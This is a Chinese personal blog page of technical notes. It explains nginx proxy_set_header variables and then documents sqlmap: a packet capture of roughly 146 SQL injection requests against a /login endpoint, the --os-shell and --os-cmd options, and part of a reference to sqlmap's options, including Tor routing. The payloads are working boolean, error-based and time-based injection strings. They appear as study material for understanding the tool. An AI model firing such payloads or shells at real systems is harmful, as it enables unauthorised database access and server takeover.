kk Blog —— 通用基础


date [-d @int|str] [+%s|"+%F %T"]
netstat -ltunp
sar -n DEV 1

nignx的proxy_set_header快速理解

https://www.cnblogs.com/eastegg/p/16650586.html

客户端地址(请求服务的地址):192.168.1.1

nignx服务器地址:192.168.1.2

后端服务器地址:192.168.1.3

proxy_set_header设置请求头,以便于后端服务器可以获取以上实际信息。

一、X-Real-IP

是指客户端的真实IP,如果设置了$remote_addr这个值,后端服务器就能获取到客户端的真实IP,也就是此例中的192.168.1.1

二、Host

proxy_set_header 可以设置 Host 为 $proxy_host、$host 与 $http_host。

host 的值设置为 $proxy_host,是指 nginx.conf 的 proxy_pass 中设置的host值,也就是192.168.1.3,也就是服务器的IP地址。

$http_host 不是一个固定的变量,他其实是 $http_HEADER 通配后的结果。

$http_HEADER,注意,这里的 HEADER 是一个通配符,通配的是请求头里的 header 属性,例如 $http_content_type 表示请求头里 content-type 属性的值,同理,$http_host 指的就是请求头里的host属性。

$host 是 core 模块内部的一个变量。

当请求头里不存在 Host 属性或者是个空值,$host 则等于 server_name

如果请求头里有Host属性,那么 $host 等于 Host 属性除了端口号的部分,例如 Host 属性是 www.example.com,那么$host就是 www.example.com

变量 是否显示端口 值是否存在
host "Host:value"显示
值为a:b的时候,只显示a
http_host "Host:value",value存在就显示
proxy_host 默认80不显示
其他端口显示
"Host:value"显示

参考:nginx $host$http_host 的区别 - UCloud云社区
https://zhuanlan.zhihu.com/p/115731015
Nginx中$http_host、$host、$proxy_host的区别 - hopeless-dream - 博客园 (cnblogs.com)

三、X-Forwarded-For

这个变量的值有 $proxy_add_x_forwarded_for 和 $remote_addr,在只有一个代理服务器的转发的情况下,两者的效果貌似差不多,都可以真实的显示出客户端原始ip。

举例说明,用户A的IP是192.168.1.1,请求一个经过两次nginx转发的应用,在第一台nginx中(192.168.1.2),配置如下:

1
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

现在 $proxy_add_x_forwarded_for 变量的"X-Forwarded-For"部分是空的,所以只有$remote_addr,而$remote_addr的值是用户的ip,那么X-Forwarded-For变量的值就是用户的ip:192.168.1.1。

到第二台nginx,配置如下:

1
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

现在的$proxy_add_x_forwarded_for变量,X-Forwarded-For部分包含的是用户的真实ip,$remote_addr部分的值是上一台nginx的ip地址,那么X-Forwarded-For的值就变成了"用户的真实ip,第一台nginx的ip",也就是“192.168.1.1, 192.168.1.2”

所以还是建议 X-Forwarded-For 的值设置成 $proxy_add_x_forwarded_for。

参考:https://cloud.tencent.com/developer/article/1899717

sqlmap抓包

用tcpdump抓包,wireshark导出text,urldecode解码,得到sqlmap的注入语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
GET /login?username=abc&password=123 HTTP/1.1 
GET /login?username=abc&password=123 HTTP/1.1 
GET /login?username=2795&password=123 HTTP/1.1 
GET /login?username=abc((),",),.'&password=123 HTTP/1.1 
GET /login?username=abc'VOhiEk<'">ULNwju&password=123 HTTP/1.1 
GET /login?username=abc') AND 2781=9607 AND ('Rnuk'='Rnuk&password=123 HTTP/1.1 
GET /login?username=abc' AND 2247=4788 AND 'ddJs'='ddJs&password=123 HTTP/1.1 
GET /login?username=abc) AND 6875=6686 AND (3318=3318&password=123 HTTP/1.1 
GET /login?username=abc AND 3033=6740&password=123 HTTP/1.1 
GET /login?username=abc AND 9516=5869-- dooX&password=123 HTTP/1.1 
GET /login?username=(SELECT (CASE WHEN (2922=6853) THEN 'abc' ELSE (SELECT 6853 UNION SELECT 6863) END))&password=123 HTTP/1.1 
GET /login?username=abc') AND EXTRACTVALUE(9018,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(9018=9018,1))),0x717a6b6a71)) AND ('WLxo'='WLxo&password=123 HTTP/1.1 
GET /login?username=abc' AND EXTRACTVALUE(9018,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(9018=9018,1))),0x717a6b6a71)) AND 'EnIq'='EnIq&password=123 HTTP/1.1 
GET /login?username=abc) AND EXTRACTVALUE(9018,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(9018=9018,1))),0x717a6b6a71)) AND (1539=1539&password=123 HTTP/1.1 
GET /login?username=abc AND EXTRACTVALUE(9018,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(9018=9018,1))),0x717a6b6a71))&password=123 HTTP/1.1 
GET /login?username=abc AND EXTRACTVALUE(9018,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(9018=9018,1))),0x717a6b6a71))-- Zpqd&password=123 HTTP/1.1 
GET /login?username=abc') AND 3119=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (3119=3119) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC) AND ('yoJQ'='yoJQ&password=123 HTTP/1.1 
GET /login?username=abc' AND 3119=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (3119=3119) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC) AND 'rRrm'='rRrm&password=123 HTTP/1.1 
GET /login?username=abc) AND 3119=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (3119=3119) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC) AND (9921=9921&password=123 HTTP/1.1 
GET /login?username=abc AND 3119=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (3119=3119) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC)&password=123 HTTP/1.1 
GET /login?username=abc AND 3119=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (3119=3119) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC)-- MRHt&password=123 HTTP/1.1 
GET /login?username=abc') AND 6208 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (6208=6208) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) AND ('uWsT'='uWsT&password=123 HTTP/1.1 
GET /login?username=abc' AND 6208 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (6208=6208) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) AND 'autW'='autW&password=123 HTTP/1.1 
GET /login?username=abc) AND 6208 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (6208=6208) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) AND (6576=6576&password=123 HTTP/1.1 
GET /login?username=abc AND 6208 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (6208=6208) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)))&password=123 HTTP/1.1 
GET /login?username=abc AND 6208 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (6208=6208) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)))-- bXtg&password=123 HTTP/1.1 
GET /login?username=abc') AND 6846=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (6846=6846) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND ('VlYe'='VlYe&password=123 HTTP/1.1 
GET /login?username=abc' AND 6846=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (6846=6846) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND 'XgIT'='XgIT&password=123 HTTP/1.1 
GET /login?username=abc) AND 6846=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (6846=6846) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND (6471=6471&password=123 HTTP/1.1 
GET /login?username=abc AND 6846=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (6846=6846) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)&password=123 HTTP/1.1 
GET /login?username=abc AND 6846=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (6846=6846) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)-- IRUY&password=123 HTTP/1.1 
GET /login?username=(SELECT CONCAT(CONCAT('qvjkq',(CASE WHEN (6090=6090) THEN '1' ELSE '0' END)),'qzkjq'))&password=123 HTTP/1.1 
GET /login?username=abc');SELECT PG_SLEEP(5)--&password=123 HTTP/1.1 
GET /login?username=abc';SELECT PG_SLEEP(5)--&password=123 HTTP/1.1 
GET /login?username=abc);SELECT PG_SLEEP(5)--&password=123 HTTP/1.1 
GET /login?username=abc;SELECT PG_SLEEP(5)--&password=123 HTTP/1.1 
GET /login?username=abc');WAITFOR DELAY '0:0:5'--&password=123 HTTP/1.1 
GET /login?username=abc';WAITFOR DELAY '0:0:5'--&password=123 HTTP/1.1 
GET /login?username=abc);WAITFOR DELAY '0:0:5'--&password=123 HTTP/1.1 
GET /login?username=abc;WAITFOR DELAY '0:0:5'--&password=123 HTTP/1.1 
GET /login?username=abc');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(83)||CHR(118)||CHR(118),5) FROM DUAL--&password=123 HTTP/1.1 
GET /login?username=abc';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(83)||CHR(118)||CHR(118),5) FROM DUAL--&password=123 HTTP/1.1 
GET /login?username=abc);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(83)||CHR(118)||CHR(118),5) FROM DUAL--&password=123 HTTP/1.1 
GET /login?username=abc;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(83)||CHR(118)||CHR(118),5) FROM DUAL--&password=123 HTTP/1.1 
GET /login?username=abc') AND (SELECT 5242 FROM (SELECT(SLEEP(5)))uNyg) AND ('BoHR'='BoHR&password=123 HTTP/1.1 
GET /login?username=abc' AND (SELECT 5242 FROM (SELECT(SLEEP(5)))uNyg) AND 'IFHW'='IFHW&password=123 HTTP/1.1 
GET /login?username=abc) AND (SELECT 5242 FROM (SELECT(SLEEP(5)))uNyg) AND (2757=2757&password=123 HTTP/1.1 
GET /login?username=abc AND (SELECT 5242 FROM (SELECT(SLEEP(5)))uNyg)&password=123 HTTP/1.1 
GET /login?username=abc AND (SELECT 5242 FROM (SELECT(SLEEP(5)))uNyg)-- zwZm&password=123 HTTP/1.1 
GET /login?username=abc') AND 8170=(SELECT 8170 FROM PG_SLEEP(5)) AND ('CuGS'='CuGS&password=123 HTTP/1.1 
GET /login?username=abc' AND 8170=(SELECT 8170 FROM PG_SLEEP(5)) AND 'WmPH'='WmPH&password=123 HTTP/1.1 
GET /login?username=abc) AND 8170=(SELECT 8170 FROM PG_SLEEP(5)) AND (6554=6554&password=123 HTTP/1.1 
GET /login?username=abc AND 8170=(SELECT 8170 FROM PG_SLEEP(5))&password=123 HTTP/1.1 
GET /login?username=abc AND 8170=(SELECT 8170 FROM PG_SLEEP(5))-- OgwJ&password=123 HTTP/1.1 
GET /login?username=abc') WAITFOR DELAY '0:0:5' AND ('jCFc'='jCFc&password=123 HTTP/1.1 
GET /login?username=abc' WAITFOR DELAY '0:0:5' AND 'FpFX'='FpFX&password=123 HTTP/1.1 
GET /login?username=abc) WAITFOR DELAY '0:0:5' AND (7644=7644&password=123 HTTP/1.1 
GET /login?username=abc WAITFOR DELAY '0:0:5'&password=123 HTTP/1.1 
GET /login?username=abc WAITFOR DELAY '0:0:5'-- sPYO&password=123 HTTP/1.1 
GET /login?username=abc') AND 4938=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(86)||CHR(112)||CHR(86),5) AND ('BmJW'='BmJW&password=123 HTTP/1.1 
GET /login?username=abc' AND 4938=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(86)||CHR(112)||CHR(86),5) AND 'svZV'='svZV&password=123 HTTP/1.1 
GET /login?username=abc) AND 4938=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(86)||CHR(112)||CHR(86),5) AND (8259=8259&password=123 HTTP/1.1 
GET /login?username=abc AND 4938=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(86)||CHR(112)||CHR(86),5)&password=123 HTTP/1.1 
GET /login?username=abc AND 4938=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(86)||CHR(112)||CHR(86),5)-- tkiR&password=123 HTTP/1.1 
GET /login?username=abc') ORDER BY 1-- xBKA&password=123 HTTP/1.1 
GET /login?username=abc') ORDER BY 2552-- QaqN&password=123 HTTP/1.1 
GET /login?username=abc' ORDER BY 1-- CXec&password=123 HTTP/1.1 
GET /login?username=abc' ORDER BY 5386-- OCdf&password=123 HTTP/1.1 
GET /login?username=abc) ORDER BY 1-- qihI&password=123 HTTP/1.1 
GET /login?username=abc) ORDER BY 8561-- muFp&password=123 HTTP/1.1 
GET /login?username=abc ORDER BY 1-- zHug&password=123 HTTP/1.1 
GET /login?username=abc ORDER BY 6155-- jbRk&password=123 HTTP/1.1 
GET /login?username=abc ORDER BY 1-- JNHc&password=123 HTTP/1.1 
GET /login?username=abc ORDER BY 7301-- lLsH&password=123 HTTP/1.1 
GET /login?username=abc&password=1760 HTTP/1.1 
GET /login?username=abc&password=123).),"')((. HTTP/1.1 
GET /login?username=abc&password=123'JHsedc<'">YLcugw HTTP/1.1 
GET /login?username=abc&password=123) AND 9079=5601 AND (1335=1335 HTTP/1.1 
GET /login?username=abc&password=123 AND 1857=7867 HTTP/1.1 
GET /login?username=abc&password=123 AND 8511=5177-- pZVc HTTP/1.1 
GET /login?username=abc&password=123') AND 7997=8676 AND ('HkRV'='HkRV HTTP/1.1 
GET /login?username=abc&password=123' AND 1648=3770 AND 'QrJb'='QrJb HTTP/1.1 
GET /login?username=abc&password=(SELECT (CASE WHEN (5600=9308) THEN 123 ELSE (SELECT 9308 UNION SELECT 4757) END)) HTTP/1.1 
GET /login?username=abc&password=123) AND EXTRACTVALUE(7970,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(7970=7970,1))),0x717a6b6a71)) AND (8074=8074 HTTP/1.1 
GET /login?username=abc&password=123 AND EXTRACTVALUE(7970,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(7970=7970,1))),0x717a6b6a71)) HTTP/1.1 
GET /login?username=abc&password=123 AND EXTRACTVALUE(7970,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(7970=7970,1))),0x717a6b6a71))-- mRSf HTTP/1.1 
GET /login?username=abc&password=123') AND EXTRACTVALUE(7970,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(7970=7970,1))),0x717a6b6a71)) AND ('hMli'='hMli HTTP/1.1 
GET /login?username=abc&password=123' AND EXTRACTVALUE(7970,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(7970=7970,1))),0x717a6b6a71)) AND 'PpkB'='PpkB HTTP/1.1 
GET /login?username=abc&password=123) AND 9196=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (9196=9196) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC) AND (7589=7589 HTTP/1.1 
GET /login?username=abc&password=123 AND 9196=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (9196=9196) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC) HTTP/1.1 
GET /login?username=abc&password=123 AND 9196=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (9196=9196) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC)-- AWtz HTTP/1.1 
GET /login?username=abc&password=123') AND 9196=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (9196=9196) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC) AND ('Kndh'='Kndh HTTP/1.1 
GET /login?username=abc&password=123' AND 9196=CAST((CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (9196=9196) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC) AND 'ynpj'='ynpj HTTP/1.1 
GET /login?username=abc&password=123) AND 8876 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (8876=8876) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) AND (4254=4254 HTTP/1.1 
GET /login?username=abc&password=123 AND 8876 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (8876=8876) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) HTTP/1.1 
GET /login?username=abc&password=123 AND 8876 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (8876=8876) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)))-- Cppc HTTP/1.1 
GET /login?username=abc&password=123') AND 8876 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (8876=8876) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) AND ('jrda'='jrda HTTP/1.1 
GET /login?username=abc&password=123' AND 8876 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (8876=8876) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) AND 'Hxec'='Hxec HTTP/1.1 
GET /login?username=abc&password=123) AND 8533=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (8533=8533) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND (3323=3323 HTTP/1.1 
GET /login?username=abc&password=123 AND 8533=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (8533=8533) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) HTTP/1.1 
GET /login?username=abc&password=123 AND 8533=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (8533=8533) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)-- ipPa HTTP/1.1 
GET /login?username=abc&password=123') AND 8533=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (8533=8533) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND ('LKje'='LKje HTTP/1.1 
GET /login?username=abc&password=123' AND 8533=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (8533=8533) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND 'qtMI'='qtMI HTTP/1.1 
GET /login?username=abc&password=(SELECT CONCAT(CONCAT('qvjkq',(CASE WHEN (8658=8658) THEN '1' ELSE '0' END)),'qzkjq')) HTTP/1.1 
GET /login?username=abc&password=123);SELECT PG_SLEEP(5)-- HTTP/1.1 
GET /login?username=abc&password=123;SELECT PG_SLEEP(5)-- HTTP/1.1 
GET /login?username=abc&password=123');SELECT PG_SLEEP(5)-- HTTP/1.1 
GET /login?username=abc&password=123';SELECT PG_SLEEP(5)-- HTTP/1.1 
GET /login?username=abc&password=123);WAITFOR DELAY '0:0:5'-- HTTP/1.1 
GET /login?username=abc&password=123;WAITFOR DELAY '0:0:5'-- HTTP/1.1 
GET /login?username=abc&password=123');WAITFOR DELAY '0:0:5'-- HTTP/1.1 
GET /login?username=abc&password=123';WAITFOR DELAY '0:0:5'-- HTTP/1.1 
GET /login?username=abc&password=123);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(78)||CHR(107)||CHR(76),5) FROM DUAL-- HTTP/1.1 
GET /login?username=abc&password=123;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(78)||CHR(107)||CHR(76),5) FROM DUAL-- HTTP/1.1 
GET /login?username=abc&password=123');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(78)||CHR(107)||CHR(76),5) FROM DUAL-- HTTP/1.1 
GET /login?username=abc&password=123';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(78)||CHR(107)||CHR(76),5) FROM DUAL-- HTTP/1.1 
GET /login?username=abc&password=123) AND (SELECT 9433 FROM (SELECT(SLEEP(5)))UOBG) AND (5534=5534 HTTP/1.1 
GET /login?username=abc&password=123 AND (SELECT 9433 FROM (SELECT(SLEEP(5)))UOBG) HTTP/1.1 
GET /login?username=abc&password=123 AND (SELECT 9433 FROM (SELECT(SLEEP(5)))UOBG)-- wyKY HTTP/1.1 
GET /login?username=abc&password=123') AND (SELECT 9433 FROM (SELECT(SLEEP(5)))UOBG) AND ('doQl'='doQl HTTP/1.1 
GET /login?username=abc&password=123' AND (SELECT 9433 FROM (SELECT(SLEEP(5)))UOBG) AND 'IMvM'='IMvM HTTP/1.1 
GET /login?username=abc&password=123) AND 1515=(SELECT 1515 FROM PG_SLEEP(5)) AND (8248=8248 HTTP/1.1 
GET /login?username=abc&password=123 AND 1515=(SELECT 1515 FROM PG_SLEEP(5)) HTTP/1.1 
GET /login?username=abc&password=123 AND 1515=(SELECT 1515 FROM PG_SLEEP(5))-- PgeE HTTP/1.1 
GET /login?username=abc&password=123') AND 1515=(SELECT 1515 FROM PG_SLEEP(5)) AND ('OoDW'='OoDW HTTP/1.1 
GET /login?username=abc&password=123' AND 1515=(SELECT 1515 FROM PG_SLEEP(5)) AND 'Zqlk'='Zqlk HTTP/1.1 
GET /login?username=abc&password=123) WAITFOR DELAY '0:0:5' AND (6147=6147 HTTP/1.1 
GET /login?username=abc&password=123 WAITFOR DELAY '0:0:5' HTTP/1.1 
GET /login?username=abc&password=123 WAITFOR DELAY '0:0:5'-- hVmx HTTP/1.1 
GET /login?username=abc&password=123') WAITFOR DELAY '0:0:5' AND ('oDNw'='oDNw HTTP/1.1 
GET /login?username=abc&password=123' WAITFOR DELAY '0:0:5' AND 'tWTl'='tWTl HTTP/1.1 
GET /login?username=abc&password=123) AND 4878=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(70)||CHR(77)||CHR(108),5) AND (5787=5787 HTTP/1.1 
GET /login?username=abc&password=123 AND 4878=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(70)||CHR(77)||CHR(108),5) HTTP/1.1 
GET /login?username=abc&password=123 AND 4878=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(70)||CHR(77)||CHR(108),5)-- Djiq HTTP/1.1 
GET /login?username=abc&password=123') AND 4878=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(70)||CHR(77)||CHR(108),5) AND ('Lyac'='Lyac HTTP/1.1 
GET /login?username=abc&password=123' AND 4878=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(70)||CHR(77)||CHR(108),5) AND 'APIe'='APIe HTTP/1.1 
GET /login?username=abc&password=123) ORDER BY 1-- TMmJ HTTP/1.1 
GET /login?username=abc&password=123) ORDER BY 9030-- RTTw HTTP/1.1 
GET /login?username=abc&password=123 ORDER BY 1-- mDvA HTTP/1.1 
GET /login?username=abc&password=123 ORDER BY 1200-- eNbW HTTP/1.1 
GET /login?username=abc&password=123 ORDER BY 1-- sYTq HTTP/1.1 
GET /login?username=abc&password=123 ORDER BY 8916-- lILp HTTP/1.1 
GET /login?username=abc&password=123') ORDER BY 1-- AOfY HTTP/1.1 
GET /login?username=abc&password=123') ORDER BY 6451-- Hzva HTTP/1.1 
GET /login?username=abc&password=123' ORDER BY 1-- Pauy HTTP/1.1 
GET /login?username=abc&password=123' ORDER BY 9918-- mEOJ HTTP/1.1 

sqlmap常用语句

https://blog.csdn.net/qq_36742250/article/details/116233702

shell

1
2
3
--sql-shell
--os-shell
--os-cmd=ipconfig

sqlmap常用指令汇总

1、目标

至少提供一个以下选项以指定目标

1
2
3
4
5
6
7
-d DIRECT           直接连接数据库
-u URL, --url=URL   目标 URL(例如:"http://www.site.com/vuln.php?id=1")
-l LOGFILE          从 Burp 或 WebScarab 代理的日志文件中解析目标地址
-m BULKFILE         从文本文件中获取批量目标
-r REQUESTFILE      从文件中读取 HTTP 请求
-g GOOGLEDORK       使用 Google dork 结果作为目标
-c CONFIGFILE       从 INI 配置文件中加载选项

2、请求

以下选项可以指定连接目标地址的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
--method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)
--data=DATA         使用 POST 发送数据串(例如:"id=1")
--param-del=PARA..  设置参数值分隔符(例如:;)
--cookie=COOKIE     指定 HTTP Cookie(例如:"PHPSESSID=a8d127e..")
--cookie-del=COO..  设置 cookie 分隔符(例如:;)
--load-cookies=L..  指定以 Netscape/wget 格式存放 cookies 的文件
--drop-set-cookie   忽略 HTTP 响应中的 Set-Cookie 参数
--user-agent=AGENT  指定 HTTP User-Agent
--random-agent      使用随机的 HTTP User-Agent
--host=HOST         指定 HTTP Host
--referer=REFERER   指定 HTTP Referer
-H HEADER, --hea..  设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
--headers=HEADERS   设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")
--auth-type=AUTH..  HTTP 认证方式(Basic,Digest,NTLM 或 PKI)
--auth-cred=AUTH..  HTTP 认证凭证(username:password)
--auth-file=AUTH..  HTTP 认证 PEM 证书/私钥文件
--ignore-code=IG..  忽略(有问题的)HTTP 错误码(例如:401)
--ignore-proxy      忽略系统默认代理设置
--ignore-redirects  忽略重定向尝试
--ignore-timeouts   忽略连接超时
--proxy=PROXY       使用代理连接目标 URL
--proxy-cred=PRO..  使用代理进行认证(username:password)
--proxy-file=PRO..  从文件中加载代理列表
--tor               使用 Tor 匿名网络
--tor-port=TORPORT  设置 Tor 代理端口代替默认端口
--tor-type=TORTYPE  设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))
--check-tor         检查是否正确使用了 Tor
--delay=DELAY       设置每个 HTTP 请求的延迟秒数
